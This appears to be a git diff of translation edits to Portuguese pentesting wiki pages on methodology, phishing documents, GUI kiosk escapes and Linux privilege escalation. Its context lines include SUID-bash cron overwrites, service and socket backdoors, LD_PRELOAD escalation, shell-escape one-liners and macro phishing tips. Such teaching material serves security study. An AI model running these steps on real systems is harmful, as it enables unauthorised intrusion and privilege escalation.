**Se o seu serviço não estiver no índice, procure no Google** por outros tutoriais e **me avise se você quiser que eu adicione.** Se você **não conseguir encontrar nada** no Google, realize seu **próprio pentesting cego**, você pode começar por **conectar-se ao serviço, fuzzing e lendo as respostas** (se houver).
@@ -60,7 +60,7 @@ Se neste ponto você não encontrou nenhuma vulnerabilidade interessante, você
De alguma forma, você deve ter encontrado **alguma maneira de executar código** na vítima. Então, [uma lista de possíveis ferramentas dentro do sistema que você pode usar para obter um shell reverso seria muito útil](../generic-hacking/reverse-shells/index.html).
-Especialmente no Windows, você pode precisar de ajuda para **evitar antivírus**: [**Verifique esta página**](../windows-hardening/av-bypass.md)**.**\\
+Especialmente no Windows, você pode precisar de ajuda para **evitar antivírus**: [**Verifique esta página**](../windows-hardening/av-bypass.md)**.**
### 8- Dentro
@@ -72,7 +72,7 @@ Se você tiver problemas com o shell, pode encontrar aqui uma pequena **compila
### **9 -** [**Exfiltração**](../generic-hacking/exfiltration.md)
-Você provavelmente precisará **extrair alguns dados da vítima** ou até mesmo **introduzir algo** (como scripts de escalonamento de privilégios). **Aqui você tem um** [**post sobre ferramentas comuns que você pode usar com esses propósitos**](../generic-hacking/exfiltration.md)**.**
+Provavelmente, você precisará **extrair alguns dados da vítima** ou até mesmo **introduzir algo** (como scripts de escalonamento de privilégios). **Aqui você tem um** [**post sobre ferramentas comuns que você pode usar com esses propósitos**](../generic-hacking/exfiltration.md)**.**
### **10- Escalonamento de Privilégios**
@@ -87,7 +87,7 @@ Você também deve verificar estas páginas sobre como **Windows funciona**:
- Como [**roubar credenciais**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) no Windows
- Alguns truques sobre [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html)
-**Não se esqueça de conferir as melhores ferramentas para enumerar caminhos de Escalonamento de Privilégios local em Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
+**Não se esqueça de conferir as melhores ferramentas para enumerar caminhos de Escalonamento de Privilégios locais no Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Privesc de Domínio**
@@ -103,7 +103,7 @@ Encontre aqui diferentes maneiras de [**extrair senhas no Windows**](https://git
#### 11.2 - Persistência
**Use 2 ou 3 tipos diferentes de mecanismos de persistência para que você não precise explorar o sistema novamente.**\
-**Aqui você pode encontrar alguns** [**truques de persistência em active directory**](../windows-hardening/active-directory-methodology/index.html#persistence)**.**
+**Aqui você pode encontrar alguns** [**truques de persistência no Active Directory**](../windows-hardening/active-directory-methodology/index.html#persistence)**.**
TODO: Completar persistência Post em Windows & Linux
@@ -120,13 +120,13 @@ Verifique também a página sobre [**NTLM**](../windows-hardening/ntlm/index.htm
#### **Exploração**
-- [**Exploração Básica em Linux**](broken-reference/index.html)
-- [**Exploração Básica em Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
+- [**Exploração Básica de Linux**](broken-reference/index.html)
+- [**Exploração Básica de Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [**Ferramentas básicas de exploração**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html)
#### [**Python Básico**](python/index.html)
-#### **Truques de Cripto**
+#### **Truques de Criptografia**
- [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
- [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md
index 56c8cdc0d..a41f47449 100644
--- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md
@@ -1,4 +1,4 @@
-# Arquivos e Documentos de Phishing
+# Phishing Files & Documents
{{#include ../../banners/hacktricks-training.md}}
@@ -19,13 +19,13 @@ DOCX files que referenciam um modelo remoto (Arquivo – Opções – Suplemento
### Carregamento de Imagem Externa
Vá para: _Inserir --> Partes Rápidas --> Campo_\
-NAN;_**Categorias**: Links e Referências, **Nomes de arquivo**: includePicture, e **Nome do arquivo ou URL**:_ http://\/whatever
+_**Categorias**: Links e Referências, **Nomes de Campo**: includePicture, e **Nome do Arquivo ou URL**:_ http://\/whatever
.png>)
### Backdoor de Macros
-É possível usar macros para executar código arbitrário do documento.
+É possível usar macros para executar código arbitrário a partir do documento.
#### Funções de Autoload
@@ -71,7 +71,7 @@ Vá para **Arquivo > Informações > Inspecionar Documento > Inspecionar Documen
#### Extensão do Documento
Quando terminar, selecione o dropdown **Salvar como tipo**, mude o formato de **`.docx`** para **Word 97-2003 `.doc`**.\
-Faça isso porque você **não pode salvar macros dentro de um `.docx`** e há um **estigma** **em torno** da extensão habilitada para macros **`.docm`** (por exemplo, o ícone da miniatura tem um enorme `!` e alguns gateways web/email os bloqueiam completamente). Portanto, essa **extensão legada `.doc` é o melhor compromisso**.
+Faça isso porque você **não pode salvar macros dentro de um `.docx`** e há um **estigma** **em torno** da extensão habilitada para macros **`.docm`** (por exemplo, o ícone da miniatura tem um enorme `!` e alguns gateways web/email os bloqueiam completamente). Portanto, esta **extensão legada `.doc` é o melhor compromisso**.
#### Geradores de Macros Maliciosas
@@ -142,7 +142,7 @@ self.close
Existem várias maneiras de **forçar a autenticação NTLM "remotamente"**, por exemplo, você poderia adicionar **imagens invisíveis** a e-mails ou HTML que o usuário acessará (até mesmo HTTP MitM?). Ou enviar à vítima o **endereço de arquivos** que irão **disparar** uma **autenticação** apenas por **abrir a pasta.**
-**Verifique essas ideias e mais nas páginas a seguir:**
+**Confira essas ideias e mais nas páginas a seguir:**
{{#ref}}
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
diff --git a/src/hardware-physical-access/escaping-from-gui-applications.md b/src/hardware-physical-access/escaping-from-gui-applications.md
index 16cb2e3e7..811b4ab3b 100644
--- a/src/hardware-physical-access/escaping-from-gui-applications.md
+++ b/src/hardware-physical-access/escaping-from-gui-applications.md
@@ -8,10 +8,10 @@
| Componente | Ação |
| --------------| -----------------------------------------------------------------|
-| Botão de energia | Desligar e ligar o dispositivo pode expor a tela de início |
+| Botão de energia | Desligar e ligar o dispositivo novamente pode expor a tela inicial |
| Cabo de energia | Verifique se o dispositivo reinicia quando a energia é cortada brevemente |
-| Portas USB | Conectar teclado físico com mais atalhos |
-| Ethernet | Escaneamento de rede ou sniffing pode permitir mais exploração |
+| Portas USB | Conecte um teclado físico com mais atalhos |
+| Ethernet | A varredura de rede ou sniffing pode permitir uma exploração adicional |
## Verifique as possíveis ações dentro da aplicação GUI
@@ -33,7 +33,7 @@ Você deve verificar se pode:
### Execução de Comandos
-Talvez **usando a opção `Abrir com`** você possa abrir/executar algum tipo de shell.
+Talvez **usando uma opção `Abrir com`** você possa abrir/executar algum tipo de shell.
#### Windows
@@ -53,7 +53,7 @@ _bash, sh, zsh..._ Mais aqui: [https://gtfobins.github.io/](https://gtfobins.git
- **Atalhos**: CTRL+N (abrir nova sessão), CTRL+R (Executar Comandos), CTRL+SHIFT+ESC (Gerenciador de Tarefas), Windows+E (abrir explorer), CTRL-B, CTRL-I (Favoritos), CTRL-H (Histórico), CTRL-L, CTRL-O (Arquivo/Abrir Diálogo), CTRL-P (Diálogo de Impressão), CTRL-S (Salvar Como)
- Menu Administrativo Oculto: CTRL-ALT-F8, CTRL-ESC-F9
- **Shell URIs**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
-- **Caminhos UNC**: Caminhos para conectar a pastas compartilhadas. Você deve tentar se conectar ao C$ da máquina local ("\\\127.0.0.1\c$\Windows\System32")
+- **Caminhos UNC**: Caminhos para conectar a pastas compartilhadas. Você deve tentar conectar ao C$ da máquina local ("\\\127.0.0.1\c$\Windows\System32")
- **Mais caminhos UNC:**
| UNC | UNC | UNC |
@@ -74,7 +74,7 @@ Console: [https://sourceforge.net/projects/console/](https://sourceforge.net/pro
Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
Editor de registro: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
-### Acessando o sistema de arquivos pelo navegador
+### Acessando o sistema de arquivos a partir do navegador
| CAMINHO | CAMINHO | CAMINHO | CAMINHO |
| --------------------- | ------------------- | --------------------- | --------------------- |
@@ -126,7 +126,7 @@ Editor de registro: [https://sourceforge.net/projects/uberregedit/](https://sour
#### Protocolo Shell
-Digite essas URLs para obter uma visualização do Explorer:
+Digite estas URLs para obter uma visualização do Explorer:
- `shell:Administrative Tools`
- `shell:DocumentsLibrary`
@@ -159,7 +159,7 @@ Verifique esta página para mais informações: [https://www.howtohaven.com/syst
Versões de backup do iKat:
[http://swin.es/k/](http://swin.es/k/)\
-[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
+[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)
Crie um diálogo comum usando JavaScript e acesse o explorador de arquivos: `document.write('')`\
Fonte: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
@@ -178,14 +178,14 @@ Fonte: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811
- Deslize rapidamente 1 dedo do centro da tela para a direita ou esquerda: Para mudar para o próximo/último aplicativo
- Pressione e segure o botão On/**Off**/Sleep no canto superior direito do **iPad +** Mova o controle deslizante para **desligar** completamente para a direita: Para desligar
- Pressione o botão On/**Off**/Sleep no canto superior direito do **iPad e o botão Home por alguns segundos**: Para forçar um desligamento completo
-- Pressione o botão On/**Off**/Sleep no canto superior direito do **iPad e o botão Home rapidamente**: Para tirar uma captura de tela que aparecerá no canto inferior esquerdo da tela. Pressione ambos os botões ao mesmo tempo muito rapidamente, pois se você segurá-los por alguns segundos, um desligamento completo será realizado.
+- Pressione o botão On/**Off**/Sleep no canto superior direito do **iPad e o botão Home rapidamente**: Para tirar uma captura de tela que aparecerá no canto inferior esquerdo da tela. Pressione ambos os botões ao mesmo tempo muito brevemente, pois se você segurá-los por alguns segundos, um desligamento completo será realizado.
### Atalhos
-Você deve ter um teclado de iPad ou um adaptador de teclado USB. Apenas atalhos que podem ajudar a escapar da aplicação serão mostrados aqui.
+Você deve ter um teclado de iPad ou um adaptador de teclado USB. Apenas atalhos que podem ajudar a escapar do aplicativo serão mostrados aqui.
| Tecla | Nome |
-| --- | ------------ |
+| ----- | ------------ |
| ⌘ | Comando |
| ⌥ | Opção (Alt) |
| ⇧ | Shift |
@@ -208,7 +208,7 @@ Esses atalhos são para as configurações visuais e de som, dependendo do uso d
| F7 | Voltar uma música |
| F8 | Reproduzir/pausar |
| F9 | Pular música |
-| F10 | Mudo |
+| F10 | Silenciar |
| F11 | Diminuir volume |
| F12 | Aumentar volume |
| ⌘ Espaço | Exibir uma lista de idiomas disponíveis; para escolher um, toque novamente na barra de espaço. |
@@ -217,29 +217,29 @@ Esses atalhos são para as configurações visuais e de som, dependendo do uso d
| Atalho | Ação |
| ------------------------------------------------ | ----------------------------------------------------- |
-| ⌘H | Ir para a tela inicial |
-| ⌘⇧H (Command-Shift-H) | Ir para a tela inicial |
-| ⌘ (Espaço) | Abrir Spotlight |
-| ⌘⇥ (Command-Tab) | Listar os últimos dez aplicativos usados |
-| ⌘\~ | Ir para o último aplicativo |
+| ⌘H | Ir para a Tela Inicial |
+| ⌘⇧H (Command-Shift-H) | Ir para a Tela Inicial |
+| ⌘ (Espaço) | Abrir Spotlight |
+| ⌘⇥ (Command-Tab) | Listar os últimos dez aplicativos usados |
+| ⌘\~ | Ir para o último aplicativo |
| ⌘⇧3 (Command-Shift-3) | Captura de tela (paira no canto inferior esquerdo para salvar ou agir sobre ela) |
-| ⌘⇧4 | Captura de tela e abri-la no editor |
-| Pressione e segure ⌘ | Lista de atalhos disponíveis para o aplicativo |
-| ⌘⌥D (Command-Option/Alt-D) | Abre o dock |
-| ^⌥H (Control-Option-H) | Botão Home |
-| ^⌥H H (Control-Option-H-H) | Mostrar barra de multitarefa |
-| ^⌥I (Control-Option-i) | Seletor de itens |
-| Escape | Botão Voltar |
-| → (Seta para a Direita) | Próximo item |
-| ← (Seta para a Esquerda) | Item anterior |
-| ↑↓ (Seta para Cima, Seta para Baixo) | Toque simultaneamente no item selecionado |
-| ⌥ ↓ (Option-Seta para Baixo) | Rolagem para baixo |
-| ⌥↑ (Option-Seta para Cima) | Rolagem para cima |
-| ⌥← ou ⌥→ (Option-Seta para a Esquerda ou Option-Seta para a Direita) | Rolagem para a esquerda ou para a direita |
-| ^⌥S (Control-Option-S) | Ativar ou desativar a fala do VoiceOver |
-| ⌘⇧⇥ (Command-Shift-Tab) | Alternar para o aplicativo anterior |
-| ⌘⇥ (Command-Tab) | Voltar para o aplicativo original |
-| ←+→, então Option + ← ou Option+→ | Navegar pelo Dock |
+| ⌘⇧4 | Captura de tela e abri-la no editor |
+| Pressione e segure ⌘ | Lista de atalhos disponíveis para o aplicativo |
+| ⌘⌥D (Command-Option/Alt-D) | Abre o dock |
+| ^⌥H (Control-Option-H) | Botão Home |
+| ^⌥H H (Control-Option-H-H) | Mostrar a barra de multitarefa |
+| ^⌥I (Control-Option-i) | Seletor de itens |
+| Escape | Botão Voltar |
+| → (Seta para a Direita) | Próximo item |
+| ← (Seta para a Esquerda) | Item anterior |
+| ↑↓ (Seta para Cima, Seta para Baixo) | Toque simultaneamente no item selecionado |
+| ⌥ ↓ (Option-Seta para Baixo) | Rolagem para baixo |
+| ⌥↑ (Option-Seta para Cima) | Rolagem para cima |
+| ⌥← ou ⌥→ (Option-Seta para a Esquerda ou Option-Seta para a Direita) | Rolagem para a esquerda ou para a direita |
+| ^⌥S (Control-Option-S) | Ativar ou desativar a fala do VoiceOver |
+| ⌘⇧⇥ (Command-Shift-Tab) | Alternar para o aplicativo anterior |
+| ⌘⇥ (Command-Tab) | Voltar para o aplicativo original |
+| ←+→, então Option + ← ou Option+→ | Navegar pelo Dock |
#### Atalhos do Safari
diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md
index bef05d5e9..7404ccd8d 100644
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
@@ -18,7 +18,7 @@ Se você **tiver permissões de escrita em qualquer pasta dentro da variável `P
```bash
echo $PATH
```
-### Informações do ambiente
+### Env info
Informações interessantes, senhas ou chaves de API nas variáveis de ambiente?
```bash
@@ -144,7 +144,7 @@ Enumere binários úteis
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
-Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum exploit de kernel, pois é recomendável compilá-lo na máquina onde você vai usá-lo (ou em uma semelhante).
+Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum exploit de kernel, pois é recomendado compilá-lo na máquina onde você vai usá-lo (ou em uma semelhante).
```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
@@ -158,7 +158,7 @@ rpm -qa #Centos
```
Se você tiver acesso SSH à máquina, também pode usar **openVAS** para verificar se há software desatualizado e vulnerável instalado na máquina.
-> [!NOTE] > _Observe que esses comandos mostrarão muitas informações que, na maioria das vezes, serão inúteis; portanto, é recomendável usar algumas aplicações como OpenVAS ou similares que verificarão se alguma versão de software instalada é vulnerável a exploits conhecidos._
+> [!NOTE] > _Observe que esses comandos mostrarão muitas informações que, na maioria das vezes, serão inúteis, portanto, é recomendável usar algumas aplicações como OpenVAS ou similares que verificarão se alguma versão de software instalada é vulnerável a exploits conhecidos._
## Processos
@@ -171,14 +171,14 @@ top -n 1
Sempre verifique se há possíveis [**depuradores electron/cef/chromium**] em execução, você pode abusar disso para escalar privilégios](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta isso verificando o parâmetro `--inspect` dentro da linha de comando do processo.\
Além disso, **verifique seus privilégios sobre os binários dos processos**, talvez você possa sobrescrever alguém.
-### Monitoramento de Processos
+### Monitoramento de processos
Você pode usar ferramentas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorar processos. Isso pode ser muito útil para identificar processos vulneráveis que estão sendo executados com frequência ou quando um conjunto de requisitos é atendido.
-### Memória do Processo
+### Memória do processo
Alguns serviços de um servidor salvam **credenciais em texto claro dentro da memória**.\
-Normalmente, você precisará de **privilégios de root** para ler a memória de processos que pertencem a outros usuários, portanto, isso geralmente é mais útil quando você já é root e deseja descobrir mais credenciais.\
+Normalmente, você precisará de **privilégios de root** para ler a memória de processos que pertencem a outros usuários, portanto, isso é geralmente mais útil quando você já é root e deseja descobrir mais credenciais.\
No entanto, lembre-se de que **como um usuário regular, você pode ler a memória dos processos que possui**.
> [!WARNING]
@@ -215,7 +215,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
-Para um dado ID de processo, **maps mostra como a memória está mapeada dentro do espaço de endereços virtual desse processo**; também mostra as **permissões de cada região mapeada**. O **mem** arquivo pseudo **expondo a memória dos processos**. A partir do arquivo **maps**, sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essas informações para **procurar no arquivo mem e despejar todas as regiões legíveis** em um arquivo.
+Para um dado ID de processo, **maps mostra como a memória está mapeada dentro do espaço de endereços virtual desse processo**; também mostra as **permissões de cada região mapeada**. O **mem** pseudo arquivo **expondo a memória dos processos**. A partir do arquivo **maps**, sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essas informações para **procurar no arquivo mem e despejar todas as regiões legíveis** em um arquivo.
```bash
procdump()
(
@@ -334,7 +334,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
```
-### Cron usando um script com um curinga (Injeção de Curinga)
+### Cron usando um script com um caractere curinga (Injeção de Caractere Curiga)
Se um script executado pelo root tiver um “**\***” dentro de um comando, você pode explorar isso para fazer coisas inesperadas (como privesc). Exemplo:
```bash
@@ -350,13 +350,13 @@ wildcards-spare-tricks.md
### Sobrescrita de script cron e symlink
-Se você **pode modificar um script cron** executado pelo root, você pode obter um shell muito facilmente:
+Se você **pode modificar um script cron** executado pelo root, pode obter um shell muito facilmente:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >
#Wait until it is executed
/tmp/bash -p
```
-Se o script executado pelo root usa um **diretório onde você tem acesso total**, talvez seja útil deletar essa pasta e **criar um diretório symlink para outro** que sirva um script controlado por você.
+Se o script executado pelo root usa um **diretório onde você tem acesso total**, talvez seja útil excluir essa pasta e **criar um diretório symlink para outro** que sirva um script controlado por você.
```bash
ln -d -s
```
@@ -380,7 +380,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### Arquivos _.service_ graváveis
-Verifique se você pode escrever em algum arquivo `.service`, se puder, você **poderia modificá-lo** para que ele **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez você precise esperar até que a máquina seja reiniciada).\
+Verifique se você pode escrever em algum arquivo `.service`, se puder, você **poderia modificá-lo** para que **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez você precise esperar até que a máquina seja reiniciada).\
Por exemplo, crie seu backdoor dentro do arquivo .service com **`ExecStart=/tmp/script.sh`**
### Binários de serviço graváveis
@@ -446,7 +446,7 @@ Os sockets podem ser configurados usando arquivos `.socket`.
**Saiba mais sobre sockets com `man systemd.socket`.** Dentro deste arquivo, vários parâmetros interessantes podem ser configurados:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Essas opções são diferentes, mas um resumo é usado para **indicar onde ele vai escutar** o socket (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou número da porta para escutar, etc.)
-- `Accept`: Aceita um argumento booleano. Se **true**, uma **instância de serviço é gerada para cada conexão recebida** e apenas o socket de conexão é passado para ele. Se **false**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é gerada para todas as conexões. Este valor é ignorado para sockets de datagrama e FIFOs onde uma única unidade de serviço lida incondicionalmente com todo o tráfego recebido. **O padrão é false**. Por razões de desempenho, é recomendado escrever novos daemons apenas de uma forma que seja adequada para `Accept=no`.
+- `Accept`: Aceita um argumento booleano. Se **verdadeiro**, uma **instância de serviço é criada para cada conexão recebida** e apenas o socket de conexão é passado para ele. Se **falso**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é criada para todas as conexões. Este valor é ignorado para sockets de datagrama e FIFOs onde uma única unidade de serviço lida incondicionalmente com todo o tráfego recebido. **O padrão é falso**. Por razões de desempenho, é recomendado escrever novos daemons apenas de uma maneira que seja adequada para `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Aceita uma ou mais linhas de comando, que são **executadas antes** ou **depois** que os **sockets**/FIFOs de escuta são **criados** e vinculados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido por argumentos para o processo.
- `ExecStopPre`, `ExecStopPost`: Comandos adicionais que são **executados antes** ou **depois** que os **sockets**/FIFOs de escuta são **fechados** e removidos, respectivamente.
- `Service`: Especifica o nome da unidade de **serviço** **a ser ativada** no **tráfego recebido**. Esta configuração é permitida apenas para sockets com Accept=no. O padrão é o serviço que tem o mesmo nome que o socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar esta opção.
@@ -454,7 +454,7 @@ Os sockets podem ser configurados usando arquivos `.socket`.
### Arquivos .socket graváveis
Se você encontrar um arquivo `.socket` **gravável**, pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e o backdoor será executado antes que o socket seja criado. Portanto, você **provavelmente precisará esperar até que a máquina seja reiniciada.**\
-NAN;_Note que o sistema deve estar usando essa configuração de arquivo socket ou o backdoor não será executado_
+_Note que o sistema deve estar usando essa configuração de arquivo socket ou o backdoor não será executado_
### Sockets graváveis
@@ -536,7 +536,7 @@ Após configurar a conexão `socat`, você pode executar comandos diretamente no
### Outros
-Observe que se você tiver permissões de gravação sobre o socket do docker porque está **dentro do grupo `docker`** você tem [**mais maneiras de escalar privilégios**](interesting-groups-linux-pe/index.html#docker-group). Se a [**API do docker estiver escutando em uma porta** você também pode ser capaz de comprometê-la](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
+Observe que se você tiver permissões de gravação sobre o socket do docker porque está **dentro do grupo `docker`**, você tem [**mais maneiras de escalar privilégios**](interesting-groups-linux-pe/index.html#docker-group). Se a [**API do docker estiver ouvindo em uma porta**, você também pode ser capaz de comprometê-la](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
Verifique **mais maneiras de escapar do docker ou abusar dele para escalar privilégios** em:
@@ -564,13 +564,13 @@ runc-privilege-escalation.md
D-Bus é um sofisticado **sistema de Comunicação Inter-Processos (IPC)** que permite que aplicativos interajam e compartilhem dados de forma eficiente. Projetado com o sistema Linux moderno em mente, oferece uma estrutura robusta para diferentes formas de comunicação entre aplicativos.
-O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, reminiscentes de **sockets de domínio UNIX aprimorados**. Além disso, ajuda na transmissão de eventos ou sinais, promovendo uma integração perfeita entre os componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode fazer um reprodutor de música silenciar, melhorando a experiência do usuário. Além disso, o D-Bus suporta um sistema de objetos remotos, simplificando solicitações de serviços e invocações de métodos entre aplicativos, agilizando processos que eram tradicionalmente complexos.
+O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, reminiscentes de **sockets de domínio UNIX aprimorados**. Além disso, ajuda na transmissão de eventos ou sinais, promovendo uma integração perfeita entre os componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode fazer um reprodutor de música silenciar, melhorando a experiência do usuário. Além disso, o D-Bus suporta um sistema de objetos remotos, simplificando solicitações de serviço e invocações de métodos entre aplicativos, agilizando processos que eram tradicionalmente complexos.
O D-Bus opera em um **modelo de permitir/negar**, gerenciando permissões de mensagens (chamadas de método, emissões de sinal, etc.) com base no efeito cumulativo de regras de política correspondentes. Essas políticas especificam interações com o barramento, permitindo potencialmente a escalada de privilégios através da exploração dessas permissões.
Um exemplo de tal política em `/etc/dbus-1/system.d/wpa_supplicant.conf` é fornecido, detalhando permissões para o usuário root possuir, enviar e receber mensagens de `fi.w1.wpa_supplicant1`.
-Políticas sem um usuário ou grupo especificado se aplicam universalmente, enquanto políticas de contexto "padrão" se aplicam a todos que não estão cobertos por outras políticas específicas.
+Políticas sem um usuário ou grupo especificado se aplicam universalmente, enquanto as políticas de contexto "padrão" se aplicam a todos que não estão cobertos por outras políticas específicas.
```xml
@@ -612,7 +612,7 @@ cat /etc/networks
#Files used by network services
lsof -i
```
-### Portas abertas
+### Open ports
Sempre verifique os serviços de rede em execução na máquina com a qual você não conseguiu interagir antes de acessá-la:
```bash
@@ -694,7 +694,7 @@ Se não se importar em fazer muito barulho e os binários `su` e `timeout` estiv
### $PATH
-Se você descobrir que pode **escrever dentro de alguma pasta do $PATH**, pode ser capaz de escalar privilégios **criando uma porta dos fundos dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta que está localizada antes** da sua pasta gravável no $PATH.
+Se você descobrir que pode **escrever dentro de alguma pasta do $PATH**, pode ser capaz de escalar privilégios **criando um backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta que está localizada antes** da sua pasta gravável no $PATH.
### SUDO e SUID
@@ -814,7 +814,7 @@ Finalmente, **escalar privilégios** executando
sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo
```
> [!CAUTION]
-> Um privesc semelhante pode ser explorado se o atacante controlar a variável de ambiente **LD_LIBRARY_PATH** porque ele controla o caminho onde as bibliotecas serão procuradas.
+> Um privesc semelhante pode ser abusado se o atacante controlar a variável de ambiente **LD_LIBRARY_PATH** porque ele controla o caminho onde as bibliotecas serão procuradas.
```c
#include
#include
@@ -894,7 +894,7 @@ isso significa que a biblioteca que você gerou precisa ter uma função chamada
[**GTFOBins**](https://gtfobins.github.io) é uma lista selecionada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos em que você pode **apenas injetar argumentos** em um comando.
-O projeto coleta funções legítimas de binários Unix que podem ser abusadas para escapar de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, gerar shells bind e reverse, e facilitar outras tarefas de pós-exploração.
+O projeto coleta funções legítimas de binários Unix que podem ser abusadas para sair de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, gerar shells bind e reverse, e facilitar outras tarefas de pós-exploração.
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
@@ -924,7 +924,7 @@ Requisitos para escalar privilégios:
- `cat /proc/sys/kernel/yama/ptrace_scope` é 0
- `gdb` é acessível (você pode ser capaz de carregá-lo)
-(Você pode habilitar temporariamente `ptrace_scope` com `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` e definindo `kernel.yama.ptrace_scope = 0`)
+(Você pode habilitar temporariamente `ptrace_scope` com `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou modificando permanentemente `/etc/sysctl.d/10-ptrace.conf` e definindo `kernel.yama.ptrace_scope = 0`)
Se todos esses requisitos forem atendidos, **você pode escalar privilégios usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
@@ -1080,7 +1080,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
Em **versões antigas**, você pode **sequestar** algumas sessões de **shell** de um usuário diferente (**root**).\
Em **versões mais recentes**, você poderá **conectar-se** apenas às sessões de tela do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**.
-### sequestro de sessões de tela
+### Sequestro de sessões de tela
**Listar sessões de tela**
```bash
@@ -1126,7 +1126,7 @@ Verifique a **caixa de Valentine do HTB** para um exemplo.
Todas as chaves SSL e SSH geradas em sistemas baseados em Debian (Ubuntu, Kubuntu, etc) entre setembro de 2006 e 13 de maio de 2008 podem ser afetadas por esse bug.\
Esse bug é causado ao criar uma nova chave ssh nesses sistemas operacionais, pois **apenas 32.768 variações eram possíveis**. Isso significa que todas as possibilidades podem ser calculadas e **tendo a chave pública ssh, você pode procurar pela chave privada correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
-### Valores de configuração SSH interessantes
+### Valores de configuração interessantes do SSH
- **PasswordAuthentication:** Especifica se a autenticação por senha é permitida. O padrão é `no`.
- **PubkeyAuthentication:** Especifica se a autenticação por chave pública é permitida. O padrão é `yes`.
